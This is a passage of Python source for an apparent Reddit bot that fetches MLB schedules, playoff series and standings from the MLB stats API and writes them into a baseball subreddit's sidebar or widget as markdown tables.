is home right now\n elif home_team_id == sidebar_team_id:\n #Sidebar team_won\n if int(home_team_score) > int(away_team_score):\n game_result = \"**W \" + str(home_team_score) + \"-\" + str(away_team_score) + \"**\"\n #There can be a tie in ST. Handle that\n elif int(home_team_score) == int(away_team_score):\n game_result = \"T \" + str(home_team_score) + \"-\" + str(away_team_score)\n #Sidebar team lost\n elif int(home_team_score) < int(away_team_score):\n game_result = \"L \" + str(home_team_score) + \"-\" + str(away_team_score)\n else:\n game_result = \"TBD\"\n \n #All Star Game results\n elif gameType == 'A':\n #away all star team_won\n if int(away_team_score) > int(home_team_score):\n if redditRedesign:\n game_result = self.get_team_full(away_team_id) + \" \" + str(away_team_score) + \"-\" + str(home_team_score)\n else:\n game_result = self.get_team(away_team_id) + str(away_team_score) + \"-\" + str(home_team_score)\n #there can be ties in the All Star Game\n elif int(home_team_score) == int(away_team_score):\n game_result = \"T \" + str(home_team_score) + \"-\" + str(away_team_score)\n #home all star team won\n elif int(home_team_score) > int(away_team_score):\n if redditRedesign:\n game_result = self.get_team_full(home_team_id) + \" \" + str(home_team_score) + \"-\" + str(away_team_score)\n else:\n game_result = self.get_team(home_team_id) + str(home_team_score) + \"-\" + str(away_team_score)\n #Should never get here\n else:\n game_result = \"TBD\"\n #game has been postponed\n elif game_status_code == 'D':\n game_result = \"PPD\"\n #Something else so just default to TBD\n else:\n game_result = \"TBD\"\n \n except:\n if self.debug:\n print (\"Can't get game result!\")\n\n return game_result\n \n #Gets \n def get_playoff_game_result(self, game, redditRedesign):\n game_result = \"\"\n if not game:\n return \"\"\n \n try:\n game_status_code = game.get('status').get('codedGameState')\n \n #Game is final so print score\n if game_status_code == 'F':\n sidebar_team_id = self.get_team_id_by_team_code(self.team_code)\n teams = game.get('teams')\n away_team_id = str(teams.get('away').get('team').get('id'))\n away_team_score = teams.get('away').get('score')\n \n home_team_id = str(teams.get('home').get('team').get('id'))\n home_team_score = teams.get('home').get('score')\n \n #Sidebar team_won\n if int(away_team_score) > int(home_team_score):\n if redditRedesign:\n game_result = self.get_team_full(away_team_id) + \" \" + str(away_team_score) + \"-\" + str(home_team_score)\n else:\n game_result = self.get_team(away_team_id) + str(away_team_score) + \"-\" + str(home_team_score)\n #Sidebar team lost\n elif int(home_team_score) > int(away_team_score):\n if redditRedesign:\n game_result = self.get_team_full(home_team_id) + \" \" + str(home_team_score) + \"-\" + str(away_team_score)\n else:\n game_result = self.get_team(home_team_id) + str(home_team_score) + \"-\" + str(away_team_score)\n #Should never get here\n else:\n game_result = \"TBD\"\n \n #game has been postponed\n elif game_status_code == 'D':\n game_result = \"PPD\"\n #Something else so just default to TBD\n else:\n game_result = \"TBD\"\n \n except:\n if self.debug:\n print (\"Can't get game result!\")\n\n return str(game_result)\n \n def process_date(self, date, schedule_dict, redditRedesign):\n games = \"\"\n game_data = \"\"\n if not date or not schedule_dict:\n return None\n \n try:\n #Get date of game\n game_date = self.get_game_date(date)\n game_day = self.get_game_day_of_month(date)\n #Get list of games\n games = date.get('games')\n \n for game in games:\n #Get game location\n location = self.get_game_location(game,redditRedesign)\n\n #Get game start time (team time)\n local_game_time = self.get_game_time(game)\n\n #Get probable pitcher\n prob_pitcher = self.get_probable_pitcher(game)\n \n #Get result of game\n game_result = self.get_game_result(game, redditRedesign)\n \n #Format data in sidebar format\n #(Date|location|start_time|probable pitcher|game result)\n game_data = game_date + \"|\" + location + \"|\" + local_game_time + \"|\" + prob_pitcher + \"|\" + game_result + \"\\n\"\n \n #Add game data to the schedule dictionary\n schedule_dict[int(game_day)].append(game_data)\n\n except:\n if self.debug:\n print (\"Unable to process date\")\n \n return schedule_dict\n \n def generate_team_monthly_schedule(self,files, num_days_month, redditRedesign):\n schedule = \"\"\n current_month = \"\"\n total_games_month = 0\n schedule_dict = {}\n \n if not files:\n return schedule\n \n sched_obj = files[\"schedule\"]\n\n try:\n #Get total number of game listed on schedule\n total_games_month = sched_obj.get('totalGames')\n \n #No games schedule for this month (offseason), so no point in doing\n #anything else\n if total_games_month == 0:\n return schedule\n \n #Build empty dictionary where key=day_of_month,\n #value = \"line(s) to be printed for each date\n schedule_dict = self.build_empty_schedule_dict(num_days_month)\n \n #Gets name of current month based on system date\n current_month = datetime.now().strftime(\"%B\")\n schedule = \"#\" + str(current_month) + \" \" + \"Schedule\" + \"\\n\"\n schedule = schedule + self.get_schedule_header()\n \n #Get list of games\n dates = sched_obj.get('dates')\n\n #for each date on schedule (could be multiple games) build the results\n for date in dates:\n schedule_dict = self.process_date(date, schedule_dict, redditRedesign)\n \n schedule = schedule + self.process_schedule_dict(schedule_dict, num_days_month)\n \n except:\n if self.debug:\n print (\"Unable to get team schedule!\")\n \n schedule = schedule + self.generate_schedule_time_footer()\n\n if self.debug:\n print (schedule)\n\n return schedule\n \n#################\n#Now return the actual game line instead of dictionary\n def process_playoff_date(self, game, redditRedesign):\n games = \"\"\n game_data = \"\"\n if_necessary = \"\"\n if not game:\n return None\n\n try:\n if_necessary = game.get('ifNecessary')\n if if_necessary == \"Y\":\n return \"\"\n \n #Get date of game\n game_date = self.get_playoff_game_date(game)\n\n #Get teams playing\n teams = game.get('teams')\n #print teams\n away_team_id = str(teams.get('away').get('team').get('id'))\n home_team_id = str(teams.get('home').get('team').get('id'))\n\n if redditRedesign:\n #Get away/home team subreddits\n away_team = self.get_team_full(away_team_id)\n home_team = self.get_team_full(home_team_id)\n else:\n #Get away/home team subreddits\n away_team = self.get_team(away_team_id)\n home_team = self.get_team(home_team_id)\n \n #Invalid team was passed above.\n if not away_team or not home_team:\n return \"\"\n #continue\n\n #Get game start time (team time)\n local_game_time = self.get_game_time(game)\n \n #Get probable pitcher\n prob_pitchers = self.get_playoff_probable_pitchers(game)\n\n #Get result of game\n game_result = self.get_playoff_game_result(game, redditRedesign)\n \n #Format data in sidebar format\n #(Date|location|start_time|probable pitcher|game result)\n game_data = game_date + \"|\" + str(away_team) + \"|\" + str(home_team) + \"|\" + local_game_time + \"|\" + prob_pitchers + \"|\" + game_result + \"\\n\"\n \n except:\n if self.debug:\n print (\"Unable to process playoff date\")\n \n return game_data\n \n\n\n def generate_playoff_schedule(self, files, num_days_month, redditRedesign):\n schedule = \"\"\n current_month = \"\"\n current_year = \"\"\n total_games_month = 0\n \n if not files:\n return schedule\n \n sched_obj = files[\"schedule\"]\n\n try:\n #Get total number of game listed on schedule\n total_games_month = sched_obj.get('totalGames')\n \n #No games schedule for this month (postseason), so no point in doing\n #anything else right now\n if total_games_month == 0:\n return schedule\n \n #Gets name of current month based on system date\n current_month = datetime.now().strftime(\"%B\")\n current_year = datetime.now().strftime(\"%Y\")\n schedule = \"#\" + current_year + \" Postseason Schedule\" + \"\\n\"\n\n #Get list of series for both AL and NL\n series_list = sched_obj.get('series')\n\n #Process series\n for series in series_list:\n games = series.get('games')\n\n #Create header for each series\n schedule = schedule + \"**\" + str(games[0].get(\"seriesDescription\")) + \"**\\n\\n\"\n schedule = schedule + self.get_playoff_schedule_header()\n for game in games:\n schedule = schedule + self.process_playoff_date(game,redditRedesign)\n\n schedule = schedule + \"\\n\"\n \n schedule = schedule + \"\\n\"\n \n except:\n if self.debug:\n print (\"Unable to get team schedule!\")\n \n schedule = schedule + self.generate_schedule_time_footer()\n\n if self.debug:\n print (schedule)\n\n return schedule\n\n\n def get_off_day_line(self, day):\n line = \"\"\n try:\n line = str(datetime.now().month) + \"/\" + str(day) + \"|--|--|--|--\\n\"\n except:\n if self.debug:\n print (\"Can't get date!\")\n return \"--|--|--|--|--\\n\"\n\n return line\n \n \n def generate_schedule_time_footer(self):\n footer = \"\"\n #Print time zone of team playing\n footer = footer + \"^All ^times ^\" + str(self.time_zone) + \"\\n\\n\"\n return str(footer)\n \n def get_schedule_header(self):\n header = \"\"\n header = header + \"Date | Opp. | Time | PP | Result\" + \"\\n\"\n header = header + \":--:|:--:|:--:|:--:|:--:\" + \"\\n\"\n return header\n \n def get_playoff_schedule_header(self):\n header = \"\"\n header = header + \"Date | Away | Home | Time | PPs | Result\" + \"\\n\"\n header = header + \":--:|:--:|:--:|:--:|:--:|:--:\" + \"\\n\"\n return header\n \n\n ###Functions related to division/wildcard standings###\n def get_team_spring_training_stats(self, team, redditRedesign):\n stats = None\n if not team:\n return \"\"\n\n #Get team id\n team_id = str(team.get('team').get('id'))\n\n #get team logo\n if redditRedesign:\n stats = self.get_team_full(team_id) + \"|\"\n else:\n stats = self.get_team(team_id) + \"|\"\n #get team wins\n stats = stats + self.get_team_wins(team) + \"|\"\n #get team losses\n stats = stats + self.get_team_loss(team) + \"|\"\n #get team win %\n stats = stats + self.get_team_win_percentage(team) + \"|\"\n #get team RD\n stats = stats + self.get_team_run_differential(team) + \"|\"\n #get team games back in division\n stats = stats + self.get_team_spring_training_gb(team) + \"|\"\n #get team winning streak\n stats = stats + self.get_team_streak(team)\n\n #Print elim num in sept and oct\n if int(datetime.now().month) >= 9 and self.is_regularSeason():\n stats = stats + \"|\"\n stats = stats + self.get_division_elimination_number(team) + \"|\"\n\n stats = stats + \"\\n\"\n\n return stats\n\n def get_team_wc_stats(self, team, redditRedesign):\n stats = None\n if not team:\n return \"\"\n\n #Get team id\n team_id = str(team.get('team').get('id'))\n \n #get team logo\n if redditRedesign:\n stats = self.get_team_full(team_id) + \"|\"\n else:\n stats = self.get_team(team_id) + \"|\"\n\n #get team wins\n stats = stats + self.get_team_wins(team) + \"|\"\n #get team losses\n stats = stats + self.get_team_loss(team) + \"|\"\n #get team win %\n stats = stats + self.get_team_win_percentage(team) + \"|\"\n #get team RD\n stats = stats + self.get_team_run_differential(team) + \"|\"\n #get team games back in division\n stats = stats + self.get_team_wc_gb(team) + \"|\"\n #get team winning streak\n stats = stats + self.get_team_streak(team)\n\n #Print elim num in sept and oct\n if int(datetime.now().month) >= 9 and self.is_regularSeason():\n stats = stats + \"|\"\n stats = stats + self.get_wild_card_elimination_number(team) + \"|\"\n\n stats = stats + \"\\n\"\n \n return stats\n\n \n def get_team_division_stats(self, team, redditRedesign):\n stats = None\n if not team:\n return \"\"\n \n #Get team id\n team_id = str(team.get('team').get('id'))\n\n #get team logo\n if redditRedesign:\n stats = self.get_team_full(team_id) + \"|\"\n else:\n stats = self.get_team(team_id) + \"|\"\n\n #get team wins\n stats = stats + self.get_team_wins(team) + \"|\"\n #get team losses\n stats = stats + self.get_team_loss(team) + \"|\"\n #get team win %\n stats = stats + self.get_team_win_percentage(team) + \"|\"\n #get team RD\n stats = stats + self.get_team_run_differential(team) + \"|\"\n #get team games back in division\n stats = stats + self.get_team_division_gb(team) + \"|\"\n #get team winning streak\n stats = stats + self.get_team_streak(team)\n\n #Print elim num in sept and oct\n if int(datetime.now().month) >= 9 and self.is_regularSeason():\n stats = stats + \"|\"\n stats = stats + self.get_division_elimination_number(team) + \"|\"\n\n stats = stats + \"\\n\"\n \n return stats\n\n def get_spring_training_standing(self, team):\n st_standing = -1\n if not st_standing:\n return st_standing\n\n try:\n st_standing = team.get('springLeagueRank')\n except:\n if self.debug:\n print (\"Unable to get team ST rank\")\n st_standing = -1\n\n return st_standing\n\n def get_division_standing(self, team):\n division_standing = -1\n if not division_standing:\n return division_standing\n\n try:\n division_standing = team.get('divisionRank')\n except:\n if self.debug:\n print (\"Unable to get team division rank\")\n division_standing = -1\n\n return division_standing\n\n def get_wild_card_standing(self, team):\n wc_standing = -1\n if not wc_standing:\n return wc_standing\n\n try:\n wc_standing = team.get('wildCardRank')\n except:\n if self.debug:\n print (\"Unable to get team WC rank or team not ranked!\")\n wc_standing = -1\n\n return wc_standing\n\n def get_wild_card_elimination_number(self, team):\n wc_elim_num = \"\"\n if not team:\n return wc_elim_num\n\n try:\n wc_elim_num = team.get('wildCardEliminationNumber')\n except:\n if self.debug:\n print (\"Unable to get wild card elim number!\")\n\n return wc_elim_num\n\n def get_division_elimination_number(self, team):\n div_elim_num = \"\"\n if not team:\n return div_elim_num\n\n try:\n div_elim_num = team.get('eliminationNumber')\n except:\n if self.debug:\n print (\"Unable to get division elim number!\")\n\n return div_elim_num\n\n\n def get_team_wins(self, team):\n wins = \"\"\n if not team:\n return wins\n\n try:\n wins = team.get('leagueRecord').get('wins')\n except:\n if self.debug:\n print (\"Unable to get team wins!\")\n \n return str(wins)\n\n \n def get_team_loss(self, team):\n losses = \"\"\n if not team:\n return losses\n try:\n losses = team.get('leagueRecord').get('losses')\n except:\n if self.debug:\n print (\"Unable to get team losses!\")\n \n return str(losses)\n \n \n def get_team_win_percentage(self, team):\n pct = \"\"\n if not team:\n return pct\n try:\n pct = team.get('leagueRecord').get('pct')\n except:\n if self.debug:\n print (\"Unable to get team Win %!\")\n return str(pct)\n\n def get_team_spring_training_gb(self, team):\n st_gb = \"\"\n if not team:\n return st_gb\n try:\n st_gb = team.get('springLeagueGamesBack')\n except:\n if self.debug:\n print (\"Unable to get ST GB!\")\n\n return str(st_gb)\n\n def get_team_division_gb(self, team):\n d_gb = \"\"\n if not team:\n return d_gb\n try:\n d_gb = team.get('divisionGamesBack')\n except:\n if self.debug:\n print (\"Unable to get team GB!\")\n\n return str(d_gb)\n\n def get_team_wc_gb(self, team):\n wc_gb = \"\"\n if not team:\n return wc_gb\n try:\n wc_gb = team.get('wildCardGamesBack')\n except:\n if self.debug:\n print (\"Unable to get team GB!\")\n\n return str(wc_gb)\n \n def get_team_run_differential(self, team):\n rd = \"\"\n if not team:\n return rd\n try:\n rd = team.get('runDifferential')\n except:\n if self.debug:\n print (\"Unable to get team RD!\")\n \n #If Run Differential greater than 0 prepend a \"+\"\n if rd > 0:\n rd = \"+\" + str(rd)\n \n return str(rd)\n\n def get_team_streak(self, team):\n streak = \"\"\n if not team:\n return streak\n try:\n streak = team.get('streak').get('streakCode')\n except:\n if self.debug:\n print (\"Unable to get team streak!\")\n\n return str(streak)\n\n def is_float(self,input):\n try:\n num = float(input)\n except:\n return False\n return True\n\n def get_standings_table_header(self):\n header = \"\"\n header = header + \" | W | L | W% | RD | GB | STRK \" + \"\\n\"\n header = header + \":--:|:--:|:--:|:--:|:--:|:--:|:--:\" + \"\\n\"\n return str(header)\n \n def get_standings_table_header_elim(self):\n header = \"\"\n header = header + \" | W | L | W% | RD | GB | STRK | E# \" + \"\\n\"\n header = header + \":--:|:--:|:--:|:--:|:--:|:--:|:--:|:--:\" + \"\\n\"\n return str(header)\n\n def get_wc_standings_leader_separator(self):\n separator = \"\"\n separator = separator + \" | | | | | | \" + \"\\n\"\n return str(separator)\n\n def generate_spring_training_standings(self, files, stLeague, redditRedesign):\n standings = \"\"\n\n try:\n league_data = files[\"standings\"].get('records')\n\n #If no standings return nothing\n if not league_data:\n if self.debug:\n print (\"No ST standings. Return nothing\")\n return standings\n\n st_team_dict = {}\n\n #NL West Standings\n if stLeague == \"115\":\n standings = standings + \"#Grapefruit League Standings\\n\\n\"\n #NL Central Standings Header\n elif stLeague == \"114\":\n standings = standings + \"#Cactus League Standings\\n\\n\"\n #Invalid\n else:\n return standings\n\n standings = standings + self.get_standings_table_header()\n\n #For each division in the league\n for divisions in league_data:\n league_teams = divisions.get('teamRecords')\n for team in league_teams:\n #Get teams only in specified ST League\n #Alternative: if(str(team[\"team\"][\"springLeague\"][\"id\"]) == stLeague):\n if(str(team.get('team').get('springLeague').get('id')) == stLeague):\n st_standing = self.get_spring_training_standing(team)\n\n if st_standing:\n st_team_dict[int(st_standing)] = self.get_team_spring_training_stats(team, redditRedesign)\n\n #Add the ST teams to the new sidebar based on key=st_position\n for key in sorted(six.iterkeys(st_team_dict)):\n standings = standings + st_team_dict[key]\n\n standings = standings + \"\\n\\n\"\n\n if self.debug:\n print (standings)\n\n except:\n if self.debug:\n print (\"Can't get Spring Training Standings!\")\n\n return standings\n\n def generate_division_standings(self,files, division, redditRedesign):\n standings = \"\"\n try:\n league = files[\"standings\"].get('records')\n\n #If no standings return nothing\n if not league:\n if self.debug:\n print (\"No division standings. Return nothing\")\n return standings\n\n division_team_dict = {}\n\n #NL West Standings\n if division == \"203\":\n standings = standings + \"#NL West Standings\\n\\n\"\n #NL Central Standings Header\n elif division == \"205\":\n standings = standings + \"#NL Central Standings\\n\\n\"\n #NL East Standings\n elif division == \"204\":\n standings = standings + \"#NL East Standings\\n\\n\"\n #Invalid\n else:\n return standings\n\n #If month is september or october include elimination number\n if int(datetime.now().month) >= 9 and self.is_regularSeason():\n standings = standings + self.get_standings_table_header_elim()\n else:\n standings = standings + self.get_standings_table_header()\n\n #For each division in the league\n for divisions in league:\n #If division id matches division we want standings for\n if str(divisions.get('division').get('id')) == division:\n #Get teams in the matching division\n division_teams = divisions.get('teamRecords')\n for team in division_teams:\n division_standing = self.get_division_standing(team)\n\n if division_standing:\n division_team_dict[int(division_standing)] = self.get_team_division_stats(team,redditRedesign)\n\n #Add the ST teams to the new sidebar based on key=st_position\n for key in sorted(six.iterkeys(division_team_dict)):\n standings = standings + division_team_dict[key]\n\n standings = standings + \"\\n\\n\"\n\n if self.debug:\n print (standings)\n\n except:\n if self.debug:\n print (\"Can't get division standings!\")\n\n return standings\n\n def generate_wc_standings(self,files, league, redditRedesign):\n standings = \"\"\n wc_berths = 2\n max_gb_allowed = 7\n \n try:\n league_data = files[\"standings\"].get('records')\n wc_team_dict = {}\n \n #AL WC Standings\n if league == \"103\":\n standings = standings + \"#NL Wild Card Standings\\n\\n\"\n #NL WC Standings\n elif league == \"104\":\n standings = standings + \"#NL Wild Card Standings\\n\\n\"\n #Invalid\n else:\n return standings\n\n #If month is september or october include elimination number\n if int(datetime.now().month) >= 9 and self.is_regularSeason():\n standings = standings + self.get_standings_table_header_elim()\n else:\n standings = standings + self.get_standings_table_header()\n \n #For each division in the league\n for divisions in league_data:\n league_teams = divisions.get('teamRecords')\n for team in league_teams:\n wc_standing = self.get_wild_card_standing(team)\n \n #Get current games back. This may be a number or a string for\n #wild card leaders\n curr_gb = self.get_team_wc_gb(team)\n \n if wc_standing:\n #Check to see if \"-\" or \"+...\". If so, those are for WC\n #leaders and should be added\n if self.is_float(curr_gb):\n if float(curr_gb) <= max_gb_allowed:\n wc_team_dict[int(wc_standing)] = self.get_team_wc_stats(team, redditRedesign)\n else:\n wc_team_dict[int(wc_standing)] = self.get_team_wc_stats(team, redditRedesign)\n \n #Add the WC teams to the new sidebar based on key=wc_position\n #Also add a separator between the current WC playoffs teams\n #and those looking in (between 2 and 3 in standings)\n added_delimiter = False\n for key in sorted(six.iterkeys(wc_team_dict)):\n if not added_delimiter and key > wc_berths:\n standings = standings + self.get_wc_standings_leader_separator()\n added_delimiter = True\n \n standings = standings + wc_team_dict[key]\n\n\n standings = standings + \"\\n\\n\"\n\n if self.debug:\n print (standings)\n\n except:\n if self.debug:\n print (\"Can't get Wild Card Standings!\")\n return standings\n\n def download_files(self,dirs):\n files = dict()\n try:\n response = requests.get(url=dirs[0])\n files[\"standings\"] = response.json()\n response = requests.get(url=dirs[1])\n files[\"schedule\"] = response.json()\n \n except Exception as e:\n if self.debug:\n print (e)\n\n return files\n\n def is_playoffs(self):\n debug = 0\n response = \"\"\n base_url = \"http://statsapi.mlb.com/api/\"\n\n current_year = datetime.now().strftime(\"%Y\")\n\n #Get all games for the playoffs today\n base_url = base_url + \"v1/seasons/\" + current_year + \"?sportId=1\"\n\n while not response:\n try:\n response = requests.get(url=base_url)\n except:\n if debug:\n print (\"Couldn't find URL, trying again...\")\n time.sleep(20)\n\n seasonData = response.json()\n\n try:\n for season in seasonData[\"seasons\"]:\n postSeasonStart = season[\"postSeasonStartDate\"]\n postSeasonEnd = season[\"postSeasonEndDate\"]\n\n today = datetime.today().strftime(\"%Y-%m-%d\")\n\n #If today's date is between start and end date of playoffs then\n #it's the playoffs\n if today >= postSeasonStart and today <= postSeasonEnd:\n return True\n except:\n if self.debug:\n print (\"Can't get playoff dates\")\n return False\n\n return False\n\n def is_springTraining(self):\n debug = 0\n response = \"\"\n base_url = \"http://statsapi.mlb.com/api/\"\n\n current_year = datetime.now().strftime(\"%Y\")\n\n #Get all games for the playoffs today\n base_url = base_url + \"v1/seasons/\" + current_year + \"?sportId=1\"\n\n while not response:\n try:\n response = requests.get(url=base_url)\n except:\n if self.debug:\n print (\"Couldn't find URL, trying again...\")\n time.sleep(20)\n\n seasonData = response.json()\n\n try:\n for season in seasonData[\"seasons\"]:\n preSeasonStart = season[\"preSeasonStartDate\"]\n preSeasonEnd = season[\"preSeasonEndDate\"]\n\n today = datetime.today().strftime(\"%Y-%m-%d\")\n\n #If today's date is between start and end date of playoffs then\n #it's the playoffs\n if today >= preSeasonStart and today <= preSeasonEnd:\n return True\n except:\n if debug:\n print (\"Can't get spring training dates\")\n return False\n\n return False\n\n def is_regularSeason(self):\n debug = 0\n response = \"\"\n base_url = \"http://statsapi.mlb.com/api/\"\n\n current_year = datetime.now().strftime(\"%Y\")\n\n #Get all games for the playoffs today\n base_url = base_url + \"v1/seasons/\" + current_year + \"?sportId=1\"\n\n while not response:\n try:\n response = requests.get(url=base_url)\n except:\n if debug:\n print (\"Couldn't find URL, trying again...\")\n time.sleep(20)\n\n seasonData = response.json()\n\n try:\n for season in seasonData[\"seasons\"]:\n regularSeasonStart = season[\"regularSeasonStartDate\"]\n regularSeasonEnd = season[\"regularSeasonEndDate\"]\n\n today = datetime.today().strftime(\"%Y-%m-%d\")\n\n #If today's date is between start and end date of playoffs then\n #it's the playoffs\n if today >= regularSeasonStart and today <= regularSeasonEnd:\n return True\n except:\n if self.debug:\n print (\"Can't get regular season dates\")\n return False\n\n return False\n \n def generate_sidebar_code(self,current_sidebar, redditRedesign=0):\n code = \"\"\n base_url = \"http://statsapi.mlb.com/api/\"\n dirs = []\n start_sidebar_delimiter = \"######\\n\\n\"\n #MLB defined numbers (may change...)\n AL = \"103\"\n NL = \"104\"\n NLW = \"203\"\n NLC = \"205\"\n NLE = \"204\"\n cactusLeague = \"114\"\n grapefruitLeague = \"115\"\n #If full offseason month and not any baseball related games\n if (int(datetime.now().month) < 2 or int(datetime.now().month) >= 11) and (not self.is_springTraining() and not self.is_regularSeason() and not self.is_playoffs()):\n if self.debug:\n print (\"Offseason months. Don't update sidebar\")\n return code\n\n self.playoffs = self.is_playoffs()\n\n #Get team id (3 digit mlb team number)\n team_id = self.get_team_id_by_team_code(self.team_code)\n \n #get current year\n current_year = datetime.now().year\n \n #Get numbers of days in the current month\n num_days_month = calendar.monthrange(current_year, datetime.now().month)\n \n #1st day of month for schedule\n startdate = datetime.today().replace(day=1)\n #Strip time from time object (YYYY-MM-DD only)\n startdate = startdate.strftime(\"%Y-%m-%d\")\n \n #Last day of month for schedule\n enddate = datetime.today().replace(day=num_days_month[1])\n #Strip time from time object (YYYY-MM-DD only)\n enddate = enddate.strftime(\"%Y-%m-%d\")\n \n #Development: Temp to test other months\n #num_days_month = calendar.monthrange(2019, 3)\n #startdate = \"2019-03-01\"\n #enddate = \"2019-03-31\"\n #self.playoffs = 1\n \n #Spring Training Standings\n if self.is_springTraining():\n #Returns AL + NL Spring Training Standings Together\n dirs.append(base_url + \"v1/standings/regularSeason?leagueId=\" + str(AL) + \",\" + str(NL) + \"&season=\" + str(current_year) + \"&standingsTypes=springTraining\")\n else:\n #division and wildcard standings data\n dirs.append(base_url + \"v1/standings/regularSeason?leagueId=\" + str(NL) + \"&season=\" + str(current_year))\n \n #Get all teams for the playoffs\n if self.playoffs and not self.is_regularSeason():\n dirs.append(base_url + \"v1/schedule/postseason/series?hydrate=probablePitcher(note)\")\n else:\n #team schedule data\n dirs.append(base_url + \"v1/schedule?teamId=\" + str(team_id) + \"&startDate=\" + str(startdate) + \"&endDate=\" + str(enddate) + \"&scheduleTypes=games,events,xref&sportId=1&hydrate=probablePitcher(note)\")\n\n if self.debug:\n for d in dirs:\n print (d)\n\n files = self.download_files(dirs)\n \n #Possible Future TODO: Generate past months win-loss records\n #code = code + self.generate_past_month_wl_records(files)\n \n #Need to add \"######\\n\\n\" back in because it got deleted\n code = code + start_sidebar_delimiter\n \n if self.playoffs and not self.is_regularSeason():\n #Generate playoff schedule\n code = code + self.generate_playoff_schedule(files, num_days_month[1], redditRedesign)\n else:\n #Generate team schedule\n code = code + self.generate_team_monthly_schedule(files, num_days_month[1], redditRedesign)\n\n #Only generate Spring Training standings during Spring Training\n if self.is_springTraining():\n code = code + self.generate_spring_training_standings(files, grapefruitLeague, redditRedesign)\n \n #Only generate division standings during regular season\n if self.is_regularSeason() and not self.is_springTraining() and not self.is_playoffs():\n #Generate division standings (NL central right now)\n code = code + self.generate_division_standings(files, NLC, redditRedesign)\n \n #Only generate WC standings during about last month of the season\n if int(datetime.now().month) >= 8 and self.is_regularSeason():\n #Generate Wild Card standings (NL right now)\n code = code + self.generate_wc_standings(files, NL, redditRedesign)\n \n if self.debug:\n if redditRedesign:\n print (\"Returning redesign sidebar widget update\")\n else:\n print (\"Returning sidebar update\")\n return code\n \n def update_sidebar(self, subreddit):\n start_sidebar_delimiter = \"######\"\n end_sidebar_delimiter = \"#######\"\n full_sidebar = \"\"\n start_sidebar = \"\"\n end_sidebar = \"\"\n new_sidebar = \"\"\n try:\n full_sidebar = subreddit.description\n \n #Returns string index of where ###### is in the current sidebar\n #which designates start of where sidebar can be updated code\n start_sidebar = full_sidebar.find(start_sidebar_delimiter)\n \n #Returns string index of where ####### is in the current sidebar\n #which designates end of where sidebar is updated code\n end_sidebar = full_sidebar.find(end_sidebar_delimiter)\n\n if(start_sidebar and end_sidebar):\n \n new_sidebar = full_sidebar[:start_sidebar]\n \n #get sidebar update\n update = self.generate_sidebar_code(full_sidebar[start_sidebar:end_sidebar])\n \n #If for some reason sidebar couldn't be generated, don't update\n #the existing one below\n if update == \"\":\n if self.debug:\n print (\"Unable to create sidebar code\")\n return\n \n new_sidebar = new_sidebar + update\n \n #Use the old bottom half of sidebar which includes \"#######\"\n new_sidebar = new_sidebar + full_sidebar[end_sidebar:]\n \n #post the update now to the sub\n subreddit.mod.update(description=new_sidebar)\n \n except:\n if self.debug:\n print (\"Unable to update current sidebar!\")\n return\n return\n\n def update_sidebar_reddit_redesign(self, subreddit):\n start_sidebar_delimiter = \"######\"\n end_sidebar_delimiter = \"#######\"\n sidebar_widget_name = \"Schedule and Standings\"\n sidebar_widget_obj = None\n full_sidebar = \"\"\n start_sidebar = \"\"\n end_sidebar = \"\"\n new_sidebar = \"\"\n text_area = None\n try:\n widgets = subreddit.widgets\n widgets.progressive_images = True\n\n #Look for TextArea widget which holds sidebar/schedule\n for widget in widgets.sidebar:\n if widget.shortName == sidebar_widget_name:\n sidebar_widget_obj = widget\n break\n\n full_sidebar = widget.text\n\n #Returns string index of where ###### is in the current sidebar\n #which designates start of where sidebar can be updated code\n start_sidebar = full_sidebar.find(start_sidebar_delimiter)\n\n #Returns string index of where ####### is in the current sidebar\n #which designates end of where sidebar is updated code\n end_sidebar = full_sidebar.find(end_sidebar_delimiter)\n\n if(start_sidebar and end_sidebar):\n \n new_sidebar = full_sidebar[:start_sidebar]\n \n #get sidebar update\n update = self.generate_sidebar_code(full_sidebar[start_sidebar:end_sidebar],\n redditRedesign=1)\n \n #If for some reason sidebar couldn't be generated, don't update\n #the existing one below\n if update == \"\":\n if self.debug:\n print (\"Unable to create redesign sidebar code\")\n return\n \n new_sidebar = new_sidebar + update\n \n #Use the old bottom half of sidebar which includes \"#######\"\n new_sidebar = new_sidebar + full_sidebar[end_sidebar:]\n \n #Reddit logs any update to mod log, so only update sidebar\n #if the new generated sidebar isn't the same as the old\n if new_sidebar != full_sidebar:\n #post the update now to the sub\n widget.mod.update(text=new_sidebar)\n if self.debug:\n print (\"Redesign sidebar update made\")\n \n except:\n if self.debug:\n print (\"Unable to update Redesign sidebar!\")\n return\n return\n \n def get_team(self, team_id):\n options = {\n \"142\": \"[](/r/minnesotatwins)\",\n \"145\": \"[](/r/WhiteSox)\",\n \"116\": \"[](/r/MotorCityKitties)\",\n \"118\": \"[](/r/KCRoyals)\",\n \"114\": \"[](/r/WahoosTipi)\",\n \"140\": \"[](/r/TexasRangers)\",\n \"117\": \"[](/r/Astros)\",\n \"133\": \"[](/r/OaklandAthletics)\",\n \"108\": \"[](/r/AngelsBaseball)\",\n \"136\": \"[](/r/Mariners)\",\n \"111\": \"[](/r/RedSox)\",\n \"147\": \"[](/r/NYYankees)\",\n \"141\": \"[](/r/TorontoBlueJays)\",\n \"139\": \"[](/r/TampaBayRays)\",\n \"110\": \"[](/r/Orioles)\",\n \"138\": \"[](/r/Cardinals)\",\n \"113\": \"[](/r/Reds)\",\n \"134\": \"[](/r/Buccos)\",\n \"112\": \"[](/r/CHICubs)\",\n \"158\": \"[](/r/Brewers)\",\n \"137\": \"[](/r/SFGiants)\",\n \"109\": \"[](/r/azdiamondbacks)\",\n \"115\": \"[](/r/ColoradoRockies)\",\n \"119\": \"[](/r/Dodgers)\",\n \"135\": \"[](/r/Padres)\",\n \"143\": \"[](/r/Phillies)\",\n \"121\": \"[](/r/NewYorkMets)\",\n \"146\": \"[](/r/letsgofish)\",\n \"120\": \"[](/r/Nationals)\",\n \"144\": \"[](/r/Braves)\",\n \"21\": \"[](/DH-ball)\",\n \"159\": \"[](/DH-ball)\",\n \"4612\": \"[](/DH-ball)\",\n \"4614\": \"[](/DH-ball)\",\n \"4615\": \"[](/DH-ball)\",\n \"4616\": \"[](/DH-ball)\",\n \"4944\": \"[](/DH-ball)\",\n \"4945\": \"[](/DH-ball)\",\n \"31\": \"[](/SeniorCircuit)\",\n \"160\": \"[](/SeniorCircuit)\",\n \"2710\": \"[](/SeniorCircuit)/[](/DH-ball)\",\n \"2711\": \"[](/SeniorCircuit)/[](/DH-ball)\",\n \"4613\": \"[](/SeniorCircuit)\",\n \"4617\": \"[](/SeniorCircuit)\",\n \"4618\": 